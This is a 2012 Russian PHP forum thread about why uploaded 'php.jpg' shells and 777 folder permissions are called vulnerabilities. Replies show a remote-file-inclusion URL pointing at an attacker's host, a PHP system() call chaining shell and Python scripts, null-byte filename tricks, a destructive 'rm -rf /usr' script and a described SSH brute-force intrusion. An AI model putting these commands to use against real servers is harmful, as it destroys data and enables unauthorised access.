[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Уязвимости доступа 777 и shell
inpost
Шелл:
Залил на свой сервер php файл: "script.php.jpg" , в нём код php, а обрабатывается он как картинка и всё. Хотя пишут везде, что это уязвимость.
Собственно почему называют это уязвимостью? Прямое обращение к файлу не выполняет его, а пишет: "Изображение «http://site.ru/1.php.jpg» не может быть показано, так как содержит ошибки." Попробовал открыть как <img>, тот же эффект. Разве только через "include" отработал, но по своему роду найти сразу 2 уязвимости include+shell практически невозможно. Если учесть, что на сайте нет инклюд-инъекций, то и шелл бесполезен. Объясните, где именно он может быть опасен? Пробовал выставить файлу заголовки, что его обрабатывать надо как text/html, никакого эффекта.

Права 777:
Выставил на папку права 777, на файл тоже. Почему это называют уязвимостью, и как мне теперь самому себе залить вредоносный код?

П.С. Для того, чтобы защититься - нужно знать, как работает.



Спустя 33 минуты, 11 секунд (23.01.2012 - 07:12) Commander Keen написал(а):
эту дырку через инклуд и используют. например есть у нас кривой скрипт, который в гет принимает имя файла для обработки. злоумышленник воспользуется дырой и сделает примерно следующее:

http://www.yoursite.com/loadfile.php?filename=http://hacksite.ru/file.php


шелл в файле file.php. Или так же зальёт свой шелл через криво написанный скрипт, который содержание файла проверяет по его расширению (что в вашем случаи есть 1.php.jpg), скрипт подумает - ага, картиночка - пропустить. Потом можно инклудить не через свой сайт, а уже через этот, который уязвимый. Всё это дело как-то называлось грамотно, но я не помню как ))

Спустя 5 минут, 31 секунда (23.01.2012 - 07:17) TranceIT написал(а):
PHP-injection это называется.
Вот тут можно почитать
http://www.xaker.name/forvb/showthread.php?t=13504

Спустя 8 минут, 58 секунд (23.01.2012 - 07:26) Commander Keen написал(а):
во ) точно ))

Спустя 1 час, 46 минут, 45 секунд (23.01.2012 - 09:13) VELIK505 написал(а):
php иньекция уже не канает разработчики апача уже позаботились об этом.

Спустя 7 часов, 43 минуты, 59 секунд (23.01.2012 - 16:57) inpost написал(а):
Получается шелл только с инклюд-уязвимостью работать будет в паре.
А что насчёт прав 777? По этому поводу я вообще ничего "нормального" не нашел.

Спустя 28 минут, 13 секунд (23.01.2012 - 17:25) killer8080 написал(а):
Цитата (inpost @ 23.01.2012 - 05:39)
Почему это называют уязвимостью, и как мне теперь самому себе залить вредоносный код?

В твоем варианте, это не уязвимость. Уязвимость когда не проверяется расширение файла, а полагаются тупо на getimagesize(). Смысл в том, getimagesize() признает файл картинкой, даже если в конец его дописать скрипт. Если у тебя файл имеет расширение jpg, то вебсервер его отдаст как статику, права тут вообще не причем. Чтоб использовать эту уязвимость, файл должен сохранится с расширением php.

Спустя 2 минуты, 4 секунды (23.01.2012 - 17:27) alex12060 написал(а):
inpost

Ну вообще, могут тебе залить не только так. Могут тупо залить PHP файл (или cgi), и залить второй файл, который будет уже посерьезней, допустим, питоновский, и уже запустив первый, тот в свою очередь попробует запустить второй.

Вот допустим, создай 3 файла.

test.php


system($_SERVER['DOCUMENT_ROOT'].'/test.sh', $val);

echo $val;

die;


test.sh


#! /bin/sh

python test.py


test.py


print 'Hello from Python!'


И выставь 777 на test.hs и запусти. У тебя выведется сообщение с питоновского отработанного файла. А если поставишь 666 или 644, то выведет 124 по моему, из-за того, что файл не предназначен для запуска.

Но это самый суровый пример :)
В основном запускают баты всякие. Щас еще отрисую пару примеров.

Спустя 1 час, 12 минут, 37 секунд (23.01.2012 - 18:40) inpost написал(а):
alex12060
Мы снова говорим о загрузчиках через форму. Но я бы назвал тут уязвимостью сам факт загрузок файлов. И уязвимость уже в том, что криво обрабатывается загрузчик форм. А мне интересны чистые, или не связанные с загрузкой файлов уязвимости 777.

killer8080
Права 777 - это отдельный вопрос smile.gif Я согласен, он к первым не имеет отношения.
Насчет первого - то проверка на расширение .jpg$ поставить и всё, больше никто ничего вредного не зальет, даже если попытается, сервер будет их воспринимать как картинки, и без include-inj уязвимости снова же нет.
А насчет 777 - пишут же все, чтобы не ставили 777, а реального применения этой уязвимости не нашел.

Спустя 19 минут, 40 секунд (23.01.2012 - 19:00) alex12060 написал(а):
inpost

Ну если уж так, то тут еще проще.

Вот много раз ты говорил о взломах серверов, даже вебинар устраивали, так вот, 777 дает всем право на все, т.е. любой человек сможет вручную создать на сервере скрипт у уничтожить все что можно smile.gif

Ну а с другой стороны, вообще, если убрать сервак в другую комнату под замок и отрубить его от интернета, то можно ставить любые права smile.gif

Спустя 15 минут, 1 секунда (23.01.2012 - 19:15) inpost написал(а):
alex12060
Снова теория-теория-теория.
Я говорю о том, что все такое ГОВОРЯТ. Вот ты продолжаешь вести себя как все. В данном случае мне интересно не теоретические "мифы", а реальный момент взлома. Я ставлю на папку права 777. Теперь мне надо что-то в неё поместить "т.е. любой человек сможет вручную создать на сервере скрипт", и вопрос в том, как это создать.
Я вебинар помню, часть его пропустил, но он там в теории говорил, и говорил о практической защите, а мне нужен именно взлом.

Спустя 6 минут, 22 секунды (23.01.2012 - 19:21) alex12060 написал(а):
inpost

блин, возьми любой впс взломай, найди в нем папку где стоит 777 и сделай пару телодвижений:


touch hack.sh
echo 'rm -rf /usr' > hack.sh
sh hack.sh


Хотя думаю, эта команда не прокатит, но все-же.

Спустя 2 минуты, 18 секунд (23.01.2012 - 19:23) inpost написал(а):
alex12060
Ну так зачем советовать то, что "я думаю, не работает" smile.gif
Я же тебе в соседних темах не советовал то, в чём был сам не уверен.

ВПС у меня свой, только я не понял твоего скрипта.
Есть сайт: site.ru, есть папка: site.ru/free/ - на ней 777. Ход взлома твоим скриптом?

Спустя 21 минута, 10 секунд (23.01.2012 - 19:45) alex12060 написал(а):
inpost

я просто не экспериментировал с rm функцией с флагом рекурсии и подавлением ошибок smile.gif

Открываю ssh, пытаюсь соединиться к сайту, опытными путями выискиваю место, где ты создавал сайт, пытаюсь выяснить логин, или его составляющую (в основном, идет 2-3 буквы и прилепленый идентификатор), далее пускаю брут, если пароль не сложный и я ломаю сайт, я попадаю в панель управления. Рута пароль я не знаю, но нахожу твой сайт и папку free, провожу команды, запускаю, выключаюсь.

Еще проще, ессли сервер настроен плохо и есть возможность достучаться по ssh как гость. Если гость, то то же самое, ищу, создаю, запускаю, убегаю smile.gif

Спустя 3 минуты, 12 секунд (23.01.2012 - 19:48) Guest написал(а):
По поводу файла "script.php.jpg":
Нуль байт там толкают в название и дырявый скрипт после заливки пишет имя не script.php.jpg, а script.php. Вот его уже и исполняют.

Спустя 8 минут, 15 секунд (23.01.2012 - 19:56) alex12060 написал(а):
null байт толку не даст большого.

Спустя 13 минут, 4 секунды (23.01.2012 - 20:09) inpost написал(а):
alex12060
достучаться по ssh как гость, подобрать пароль админа... Это всё случай.

Спустя 8 минут, 15 секунд (23.01.2012 - 20:17) alex12060 написал(а):
inpost

Пока более элегантного решения не вижу smile.gif

Спустя 3 часа, 25 минут, 56 секунд (23.01.2012 - 23:43) caballero написал(а):
все зависит от содержимого файла. Если там пароль к БД или путь к какому нибудь ini файлу с паролями который можно вытащить прочитавши его имя.

Спустя 5 минут, 7 секунд (23.01.2012 - 23:48) inpost написал(а):
Guest
Я вот попробовал дырявый скрипт заливки, куда уж проще:
move_uploaded_file($_FILES['file']['tmp_name'],$_SERVER['DOCUMENT_ROOT'].'/1/'.$_FILES['file']['name']);

Файл назывался: script.php%00.jpg , вот прям в таком имени и залился, никаких обрезаний нет, особенно в script.php
Может это уже старая уязвимость изжила себя, но мне не удалось добиться никаких результатов.

caballero
В .ini файле держать пароли? Это как-то не кошерно. Я всю жизнь держал всё в .php, и если обращались, получали лишь обработку .php.
Хотя больше смысла я и не понял.

Спустя 7 минут, 11 секунд (23.01.2012 - 23:56) caballero написал(а):
Цитата
Хотя больше смысла я и не понял.

Я вообще никакого смысла не понял чего надо решить то. Просто написал чтобы ты не флеймил отбирал хлеб у Элички.

Спустя 7 минут, 41 секунда (24.01.2012 - 00:03) inpost написал(а):
caballero
По крайней мере та тема во флейме, а значит предназначена для флейма smile.gif
А смысл в том, чтобы помочь мне разобраться, почему говорят, что нельзя ставить права 777, хотя никакой уязвимости это не представляет, и заливка шелла, который показывали в примерах везде - тоже не то.

Спустя 8 минут, 42 секунды (24.01.2012 - 00:12) caballero написал(а):
Цитата
  А смысл в том, чтобы помочь мне разобраться, почему говорят, что нельзя ставить права 777, хотя никакой уязвимости это не представляет, и заливка шелла, который показывали в примерах везде - тоже не то.

Вообще то логика подсказываает что надо бы услышать аргументы тех кто говорит. Мало ли что говорят в инете.


_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.